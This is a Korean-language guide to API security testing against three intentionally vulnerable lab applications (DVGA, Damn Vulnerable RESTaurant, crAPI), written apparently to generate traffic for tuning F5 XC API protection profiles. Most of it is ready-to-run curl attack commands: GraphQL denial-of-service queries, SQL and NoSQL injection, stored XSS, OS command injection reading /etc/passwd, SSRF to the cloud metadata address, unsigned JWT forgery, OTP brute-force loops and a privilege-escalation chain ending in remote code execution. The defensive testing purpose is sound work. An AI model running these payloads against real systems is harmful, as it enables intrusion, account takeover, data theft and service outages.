API 테스트 가이드
이 가이드는 세 가지 API 보안 테스트 애플리케이션에 걸쳐 모든 API 엔드포인트, 의도적 취약점, 공격 페이로드를 정리합니다. F5 XC API 보호 프로파일 개발을 위한 트래픽 생성 패턴 구축에 활용하십시오.
| 애플리케이션 | 프로토콜 | 경로 | 포트 | 인증 | 취약점 |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | 없음 (admin: admin/password) | 시나리오 25개 |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (form-encoded) | OWASP API 2023 카테고리 7개 |
| crAPI | REST (마이크로서비스) | / | 8888 | JWT (Bearer) | 챌린지 18개 이상 |
환경 변수
섹션 제목: “환경 변수”ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
섹션 제목: “DVGA (Damn Vulnerable GraphQL Application)”GraphQL 엔드포인트: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
관리자 자격 증명: admin / password
모든 DVGA 상호작용은 JSON {"query":"..."} 페이로드가 포함된 POST 요청으로 단일 엔드포인트(/dvga/graphql)를 사용합니다.
스키마 개요
섹션 제목: “스키마 개요”Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← 순환 참조엔드포인트 참조
섹션 제목: “엔드포인트 참조”| 작업 | 유형 | 인증 | 목적 |
|---|---|---|---|
pastes(public, filter, limit) | Query | 불필요 | 페이스트 목록 조회 (filter를 통한 SQL 인젝션) |
paste(id) | Query | 불필요 | 단일 페이스트 조회 |
me(token) | Query | 불필요 | JWT로 사용자 조회 (위조 취약) |
systemHealth | Query | 불필요 | 헬스 체크 |
systemUpdate | Query | 불필요 | 느린 쿼리 (~82초, DoS 벡터) |
systemDiagnostics(cmd) | Query | admin/password | 허용 목록 OS 명령 실행 |
createPaste(title, content, public) | Mutation | 불필요 | 페이스트 생성 (content를 통한 XSS) |
importPaste(host, port, path, scheme) | Mutation | 불필요 | 원격 페이스트 가져오기 (SSRF, 명령 인젝션) |
uploadPaste(filename, content) | Mutation | 불필요 | 페이스트 업로드 (경로 탐색) |
취약점 카탈로그
섹션 제목: “취약점 카탈로그”1. 서비스 거부 (DoS) (6개 시나리오)
섹션 제목: “1. 서비스 거부 (DoS) (6개 시나리오)”배치 쿼리 공격:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'깊은 재귀 (순환 Owner/Paste 참조):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'리소스 집약적 쿼리 (~82초 응답):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'필드 중복 (필드를 500회 이상 반복):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'별칭 기반 공격 (1000개 별칭 작업):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. 정보 노출 (5개 시나리오)
섹션 제목: “2. 정보 노출 (5개 시나리오)”인트로스펙션 (전체 스키마 열거):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'필드 제안 (오타로 유효한 필드 노출):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'importPaste를 통한 SSRF (내부 서비스 탐색):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. 인젝션 (4개 시나리오)
섹션 제목: “3. 인젝션 (4개 시나리오)”filter 매개변수를 통한 SQL 인젝션:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'createPaste를 통한 저장형 XSS:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'로그 인젝션 (작업 이름 스푸핑):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. 코드 실행 (3개 시나리오)
섹션 제목: “4. 코드 실행 (3개 시나리오)”importPaste를 통한 OS 명령 인젝션:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'systemDiagnostics를 통한 OS 명령 (관리자 인증 필요):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. 인증 우회 (3개 시나리오)
섹션 제목: “5. 인증 우회 (3개 시나리오)”JWT 토큰 위조 (서명되지 않은 토큰 허용):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'uploadPaste를 통한 임의 파일 쓰기 (경로 탐색):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'RESTaurant API (Damn Vulnerable RESTaurant)
섹션 제목: “RESTaurant API (Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
OpenAPI 사양: ${ORIGIN}/restaurant/openapi.json
인증: /restaurant/token에 form-encoded POST를 통한 JWT
역할: Customer (기본값), Employee, Chef (관리자)
설정: 등록 및 인증
섹션 제목: “설정: 등록 및 인증”# 테스트 사용자 등록curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# JWT 토큰 가져오기 (참고: JSON이 아닌 form-encoded)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"엔드포인트 참조
섹션 제목: “엔드포인트 참조”| 엔드포인트 | 메서드 | 인증 | 역할 | 취약점 |
|---|---|---|---|---|
/restaurant/register | POST | 불필요 | — | 사용자 생성 |
/restaurant/token | POST | 불필요 | — | 약한 시크릿을 가진 JWT (97952) |
/restaurant/healthcheck | GET | 불필요 | — | 헬스 체크 |
/restaurant/profile | GET | 필요 | 모든 역할 | 사용자 프로파일 |
/restaurant/profile | PUT | 필요 | 모든 역할 | BOLA (다른 사용자 수정) |
/restaurant/profile | PATCH | 필요 | 모든 역할 | BOPLA (역할 대량 할당) |
/restaurant/users/update_role | PUT | 필요 | 모든 역할 | BFLA (역할 상승) |
/restaurant/menu | GET | 필요 | 모든 역할 | 메뉴 항목 목록 조회 |
/restaurant/menu | PUT | 필요 | Employee 이상 | 메뉴 생성 (이미지를 통한 SSRF) |
/restaurant/menu/{item_id} | PUT | 필요 | Employee 이상 | 메뉴 수정 (이미지를 통한 SSRF) |
/restaurant/menu/{item_id} | DELETE | 필요 | 모든 역할 | BFLA (모든 사용자가 삭제 가능) |
/restaurant/orders | GET | 필요 | 모든 역할 | BOLA (모든 주문 조회) |
/restaurant/orders | POST | 필요 | 모든 역할 | 주문 생성 |
/restaurant/orders/{order_id} | GET | 필요 | 모든 역할 | BOLA (다른 사용자의 주문 접근) |
/restaurant/orders/status/{order_id} | GET | 필요 | 모든 역할 | 주문 상태 |
/restaurant/admin/stats/disk | GET | 필요 | Chef | 명령 인젝션 |
/restaurant/reset-password | POST | 불필요 | — | 비밀번호 재설정 요청 |
/restaurant/reset-password/new-password | POST | 불필요 | — | 새 비밀번호 설정 |
/restaurant/referral-code | GET | 필요 | 모든 역할 | 추천 코드 조회 |
/restaurant/apply-referral | POST | 필요 | 모든 역할 | 추천 적용 |
/restaurant/discount-coupons | GET | 필요 | 모든 역할 | 쿠폰 목록 조회 |
취약점 카탈로그
섹션 제목: “취약점 카탈로그”API1:2023 — 객체 수준 인증 취약점 (BOLA)
섹션 제목: “API1:2023 — 객체 수준 인증 취약점 (BOLA)”다른 사용자의 프로파일 수정:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'다른 사용자의 주문 접근 (오프셋 열거):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — 인증 취약점
섹션 제목: “API2:2023 — 인증 취약점”JWT 약한 시크릿 브루트 포스 (시크릿은 6자리: 97952):
# jwt.io에서 토큰 디코딩 및 위조# 시크릿: 97952 (hashcat -a 3 -m 16500 token '?d?d?d?d?d?d'로 브루트 포스 가능)
# Chef 토큰 위조:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# 시크릿으로 서명: 97952API3:2023 — 객체 속성 수준 인증 취약점 (BOPLA)
섹션 제목: “API3:2023 — 객체 속성 수준 인증 취약점 (BOPLA)”Customer에서 Chef로 역할 대량 할당:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'권한 상승 경로: Customer → Employee → Chef:
# 1단계: Employee로 상승curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# 2단계: Chef로 상승curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — 기능 수준 인증 취약점 (BFLA)
섹션 제목: “API5:2023 — 기능 수준 인증 취약점 (BFLA)”Customer로 메뉴 항목 삭제 (Employee 이상 필요해야 함):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"다른 사용자의 역할 변경:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — 서버 측 요청 위조 (SSRF)
섹션 제목: “API7:2023 — 서버 측 요청 위조 (SSRF)”메뉴 image_url을 통한 내부 엔드포인트 탐색 (Employee 역할 필요):
# 먼저 BOPLA를 통해 Employee로 상승한 후:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — 인젝션
섹션 제목: “API8:2023 — 인젝션”디스크 통계를 통한 OS 명령 인젝션 (Chef 역할 필요):
# Chef로 상승한 후:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"전체 공격 체인: Customer에서 Root까지
섹션 제목: “전체 공격 체인: Customer에서 Root까지”# 1. 등록curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. 토큰 가져오기TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Chef로 상승 (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. Chef 수준 토큰을 얻기 위해 재인증TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. 명령 인젝션 (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
섹션 제목: “crAPI (OWASP Completely Ridiculous API)”웹 UI: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/ (인증을 위한 이메일 캡처)
인증: JWT Bearer 토큰 (RS256, 알고리즘 혼동 취약)
아키텍처: 7개 마이크로서비스 (identity, community, workshop, postgres, mongo, mailhog, web)
설정: 등록, 이메일 인증, 로그인
섹션 제목: “설정: 등록, 이메일 인증, 로그인”# 1. 등록curl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 인증 이메일에 대한 MailHog 확인# ${CRAPI}/mailhog/으로 접속하거나 MailHog API 사용:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. 로그인 및 JWT 토큰 가져오기TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"엔드포인트 참조
섹션 제목: “엔드포인트 참조”Identity 서비스
섹션 제목: “Identity 서비스”| 엔드포인트 | 메서드 | 인증 | 취약점 |
|---|---|---|---|
/identity/api/auth/signup | POST | 불필요 | 회원 가입 |
/identity/api/auth/login | POST | 불필요 | JWT 토큰 (알고리즘 혼동) |
/identity/api/auth/forget-password | POST | 불필요 | OTP 요청 |
/identity/api/auth/v2/check-otp | POST | 불필요 | 속도 제한 없음 (4자리 OTP 브루트 포스) |
/identity/api/auth/v3/check-otp | POST | 불필요 | 속도 제한 버전 |
/identity/api/v2/user/dashboard | GET | 필요 | 사용자 프로파일 |
/identity/api/v2/user/change-email | PUT | 필요 | 이메일 변경 |
/identity/api/v2/vehicle/vehicles | GET | 필요 | 차량 목록 조회 (UUID 누출) |
/identity/api/v2/vehicle/{uuid}/location | GET | 필요 | BOLA (다른 사용자의 차량) |
/identity/api/v2/user/videos | POST | 필요 | 동영상 업로드 |
/identity/api/v2/user/videos/{id} | GET | 필요 | 데이터 노출 (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | 필요 | 대량 할당 (명령 인젝션) |
/identity/api/v2/admin/videos/{id} | DELETE | 필요 | BFLA (관리자 확인 없음) |
Community 서비스
섹션 제목: “Community 서비스”| 엔드포인트 | 메서드 | 인증 | 취약점 |
|---|---|---|---|
/community/api/v2/community/posts | GET | 필요 | 데이터 노출 (vehicle_id, email 누출) |
/community/api/v2/community/posts | POST | 필요 | 블로그 게시물 생성 |
/community/api/v2/community/posts/{id}/comments | POST | 필요 | 댓글 추가 |
/community/api/v2/coupon/validate-coupon | POST | 필요 | NoSQL 인젝션 |
Workshop 서비스
섹션 제목: “Workshop 서비스”| 엔드포인트 | 메서드 | 인증 | 취약점 |
|---|---|---|---|
/workshop/api/mechanic | GET | 필요 | 데이터 노출 (정비사 이메일) |
/workshop/api/mechanic/mechanic_report | GET | 불필요 | BOLA (인증 없음, 순차적 ID) |
/workshop/api/merchant/contact_mechanic | POST | 필요 | SSRF + DoS |
/workshop/api/shop/products | GET | 필요 | 제품 카탈로그 |
/workshop/api/shop/orders/ | POST | 필요 | 주문 생성 |
/workshop/api/shop/orders/all | GET | 필요 | 주문 목록 조회 |
/workshop/api/shop/orders/{id} | GET | 불필요 | BOLA (인증 불필요) |
/workshop/api/shop/orders/{id} | PUT | 필요 | 대량 할당 (status, quantity) |
/workshop/api/shop/apply_coupon | POST | 필요 | SQL 인젝션 |
챌린지 카탈로그
섹션 제목: “챌린지 카탈로그”챌린지 1 — BOLA: 다른 사용자의 차량 위치 접근
섹션 제목: “챌린지 1 — BOLA: 다른 사용자의 차량 위치 접근”# 먼저 자신의 차량 UUID 가져오기curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# 다른 사용자의 차량 접근 (UUID 교체)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"챌린지 2 — BOLA: 정비사 보고서 접근 (인증 없음)
섹션 제목: “챌린지 2 — BOLA: 정비사 보고서 접근 (인증 없음)”# 순차적 ID 열거 — 토큰 불필요for i in 1 2 3 4 5; do echo "보고서 $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""done챌린지 3 — 인증 취약점: 비밀번호 재설정 OTP 브루트 포스
섹션 제목: “챌린지 3 — 인증 취약점: 비밀번호 재설정 OTP 브루트 포스”# 피해자를 위한 OTP 요청curl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# 4자리 OTP 브루트 포스 (v2는 속도 제한 없음)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdone챌린지 4 — 데이터 노출: 정비사 이메일 누출
섹션 제목: “챌린지 4 — 데이터 노출: 정비사 이메일 누출”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool챌린지 5 — 데이터 노출: 내부 동영상 변환 매개변수
섹션 제목: “챌린지 5 — 데이터 노출: 내부 동영상 변환 매개변수”# 동영상을 업로드한 후 응답 검사curl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# 응답에서 conversion_params 필드 확인챌린지 6 — DoS: 정비사 연락을 통한 레이어 7
섹션 제목: “챌린지 6 — DoS: 정비사 연락을 통한 레이어 7”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'챌린지 7 — BFLA: 관리자 엔드포인트를 통한 동영상 삭제
섹션 제목: “챌린지 7 — BFLA: 관리자 엔드포인트를 통한 동영상 삭제”# 일반 사용자도 관리자 엔드포인트에 접근 가능curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"챌린지 8 & 9 — 대량 할당: 주문 조작을 통한 무료 상품
섹션 제목: “챌린지 8 & 9 — 대량 할당: 주문 조작을 통한 무료 상품”# GET을 PUT으로 변경하고 status와 quantity 수정curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'챌린지 10 — 동영상 변환 매개변수를 통한 명령 인젝션
섹션 제목: “챌린지 10 — 동영상 변환 매개변수를 통한 명령 인젝션”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'챌린지 11 — 정비사 연락을 통한 SSRF
섹션 제목: “챌린지 11 — 정비사 연락을 통한 SSRF”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'챌린지 12 — NoSQL 인젝션: 쿠폰 코드 추출
섹션 제목: “챌린지 12 — NoSQL 인젝션: 쿠폰 코드 추출”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'챌린지 13 — SQL 인젝션: 쿠폰 중복 사용
섹션 제목: “챌린지 13 — SQL 인젝션: 쿠폰 중복 사용”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"챌린지 14 — 비인증 주문 접근
섹션 제목: “챌린지 14 — 비인증 주문 접근”# Authorization 헤더 없이도 데이터 반환for i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""done챌린지 15 — JWT 알고리즘 혼동
섹션 제목: “챌린지 15 — JWT 알고리즘 혼동”# 알고리즘 "none"으로 JWT 위조 (서명 검증 없음):# 1. 헤더 설정: {"alg":"none","typ":"JWT"} 후 base64url 인코딩# 2. 페이로드 설정: {"email":"admin@example.com","role":"admin"} 후 base64url 인코딩# 3. 점으로 연결하고 서명은 비워 둠: <header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"OWASP API 보안 상위 10위 상호 참조
섹션 제목: “OWASP API 보안 상위 10위 상호 참조”| OWASP 카테고리 | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile, GET /orders/{id} | 차량 위치, 정비사 보고서, 주문 |
| API2: 인증 취약점 | JWT 위조 (me 쿼리) | JWT 약한 시크릿 (97952) | OTP 브루트 포스 (v2), JWT 알고리즘 혼동 |
| API3: BOPLA | — | PATCH /profile (역할 상승) | 동영상 conversion_params, 정비사 이메일 노출 |
| API4: 리소스 소비 | 배치, 재귀, 별칭, 필드 중복 DoS | 응답 길이를 통한 사용자 열거 | contact_mechanic repeat_request DoS |
| API5: BFLA | — | DELETE /menu, PUT /users/update_role | 일반 사용자로 DELETE /admin/videos |
| API6: 대량 할당 | — | PUT /orders (status, quantity) | 주문 status/quantity, 동영상 conversion_params |
| API7: SSRF | importPaste mutation | PUT /menu image_url | contact_mechanic mechanic_api URL |
| API8: 인젝션 | SQL (filter), XSS (content), OS 명령 (importPaste, systemDiagnostics) | OS 명령 (/admin/stats/disk?parameters=) | NoSQL (validate-coupon), SQL (apply_coupon) |
| API9: 부적절한 자산 관리 | — | — | 지원 중단된 /auth/v2/check-otp (속도 제한 없음) |
| API10: 안전하지 않은 소비 | — | — | (SSRF를 통한 간접적 영향) |
| GraphQL 특이적 | 인트로스펙션, 배칭, 재귀, 별칭, 필드 중복, 순환 프래그먼트 | — | — |
트래픽 생성 패턴
섹션 제목: “트래픽 생성 패턴”1단계: 기준선 (정상 경로)
섹션 제목: “1단계: 기준선 (정상 경로)”공격 패턴 테스트 전 정상적인 API 동작을 확립하기 위해 합법적인 트래픽을 생성합니다.
DVGA 기준선:
# 일반 쿼리curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'RESTaurant 기준선:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'crAPI 기준선:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"2단계: OWASP 카테고리별 공격 트래픽
섹션 제목: “2단계: OWASP 카테고리별 공격 트래픽”BOLA 테스트: 순차적 ID 열거, 요청에서 사용자 식별자 교체, 소유권 없이 리소스 접근.
인젝션 테스트: filter/쿠폰 매개변수에 SQL 페이로드, GraphQL 쿼리 인젝션, 매개변수 필드를 통한 OS 명령 인젝션.
인증 우회 테스트: JWT 토큰 위조, OTP 브루트 포스, 지원 중단된 API 버전 사용, 알고리즘 혼동.
SSRF 테스트: importPaste, image_url, mechanic_api 매개변수에 내부 URL 사용.
DoS 테스트: GraphQL 배치/재귀/별칭 공격, 높은 횟수의 repeat_request_if_failed.
3단계: 상태 유지 공격 체인
섹션 제목: “3단계: 상태 유지 공격 체인”일부 공격은 상태를 포함하는 다단계 시퀀스를 필요로 합니다:
- RESTaurant 상승 체인: 등록 → 토큰 → PATCH로 Chef 역할 변경 → 재인증 → 명령 인젝션
- crAPI 전체 흐름: 회원 가입 → 이메일 인증 (MailHog) → 로그인 → 차량 추가 → 정비사 연락 (SSRF) → 주문 조작
- DVGA 정찰-익스플로잇: 인트로스펙션 → systemDiagnostics 발견 → 관리자 자격 증명 브루트 포스 → OS 명령 실행
속도 권장 사항
섹션 제목: “속도 권장 사항”| 패턴 | 요청/초 | 지속 시간 | 비고 |
|---|---|---|---|
| 기준선 (앱당) | 10-50 | 5분 | 정상 트래픽 지문 확립 |
| BOLA 열거 | 100-500 | 2분 | 순차적 ID 스캔 |
| OTP 브루트 포스 | 1000+ | 발견 시까지 | 최대 10,000회 시도 (4자리) |
| GraphQL DoS | 10-50 | 30초 | 요청당 서버 측 비용이 높음 |
| 인젝션 퍼징 | 50-200 | 5분 | 요청마다 페이로드 변경 |
| SSRF 탐색 | 5-20 | 2분 | 느림; 각 요청이 서버 측 HTTP 요청 유발 |